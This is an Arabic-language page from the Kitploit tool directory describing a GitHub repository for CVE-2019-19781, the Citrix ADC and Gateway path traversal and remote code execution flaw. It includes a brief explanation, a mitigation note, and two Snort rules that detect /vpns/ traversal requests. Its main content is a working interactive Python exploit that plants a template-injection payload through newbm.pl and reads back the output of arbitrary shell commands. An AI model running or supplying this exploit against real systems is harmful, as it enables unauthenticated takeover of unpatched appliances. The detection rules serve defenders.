Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-19781 — RCE، Citirx ADC واجتياز الدليل في Gateway | Kitploit
أدوات/GitHubGitHub/tpdlshdmlrkfmcla/cve-2019-19781
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubtpdlshdmlrkfmcla/cve-2019-19781

CVE-2019-19781

RCE، Citirx ADC واجتياز الدليل في Gateway

عرض المستودع
11منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

هذه المقالة تتعلق بثغرة CVE-2019-19781، وهي ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر اجتياز الدليل (Directory Traversal) في Citrix ADC وGateway. تحدث هذه الثغرة بسبب عدم التحقق بشكل صحيح من ملف smb.conf في المسار ../vpns تحت /vpn. تتيح سرقة معلومات تكوين النظام أو معلومات الخادم.

  1. Citrix
  • شركة برمجيات أمريكية متعددة الجنسيات تأسست عام 1989
  • تقدم تقنيات المحاكاة الافتراضية للخوادم والتطبيقات وأجهزة الكمبيوتر المكتبية، والشبكات، والبرمجيات كخدمة (SaaS)، والحوسبة السحابية.
  • ثغرة اجتياز الدليل (Directory Traversal) التي تنشأ بسبب نقص التحقق من المدخلات في إصدارات معينة من مجموعة منتجات Citrix.
  • ثغرة ناتجة عن استخدام المسار المطلوب مباشرة دون التحقق من المدخلات.
  • يوجد سكريبت Perl في الإصدارات المعرضة للخطر من مجموعة منتجات Citrix في المسار /vpns/ يسمح بالوصول إلى ملفات محدودة بما في ذلك الأدلة دون مصادقة.
  • يستخدم هذا السكريبت Perl المسار المطلوب مباشرة.

حذف المسار

  • حظر الطلبات التي تحتوي على /../ والطلبات التي تحاول الوصول إلى دليل /vpns/.

كود POC

root@kitploit:~

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"/../"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"%2E%2E"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)
root@kitploit:~
#!/usr/bin/env python
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")

if len(sys.argv) < 2:
  print("[-] No URL provided")
  sys.exit(0)

while True:
    try:
      command = input("command > ")

      random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
      print("[+] Adding bookmark", random_xml + ".xml")

      burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                      random_xml, "NSC_NONCE": "c", "Connection": "close"}
      burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
      r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)

      if r.status_code == 200:
        print("[+] Bookmark added")
      else:
        print("\n[-] Target not vulnerable or something went wrong")
        sys.exit(0)

      burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                       random_xml, "NSC_NONCE": "c", "Connection": "close"}
      r = requests.get(burp0_url, headers=burp0_headers,verify=False)

      replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
      print("[+] Result of the command: \n")
      print(replaced)

    except KeyboardInterrupt:
            print("Exiting...")
            break

المراجع

  • https://nvd.nist.gov/vuln/detail/CVE-2019-19781

  • https://github.com/mpgn/CVE-2019-19781

  • https://github.com/jas502n/CVE-2019-19781

  • https://www.cisa.gov/uscert/ncas/alerts/aa20-031a

  • https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35250&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTktMTk3ODE=

  • https://support.citrix.com/article/CTX267027/cve201919781-vulnerability-in-citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance

  • https://support.citrix.com/article/CTX276688/citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance-security-update

  • https://www.tripwire.com/state-of-security/citrix-netscaler-cve-2019-19781-what-you-need-to-know

  • https://www.tenable.com/blog/cve-2019-19781-exploit-scripts-for-remote-code-execution-vulnerability-in-citrix-adc-and

  • https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-citrix-adc-and-citrix-gateway-directory-traversal-vulnerability-cve-2019-19781/

تنزيل الأداة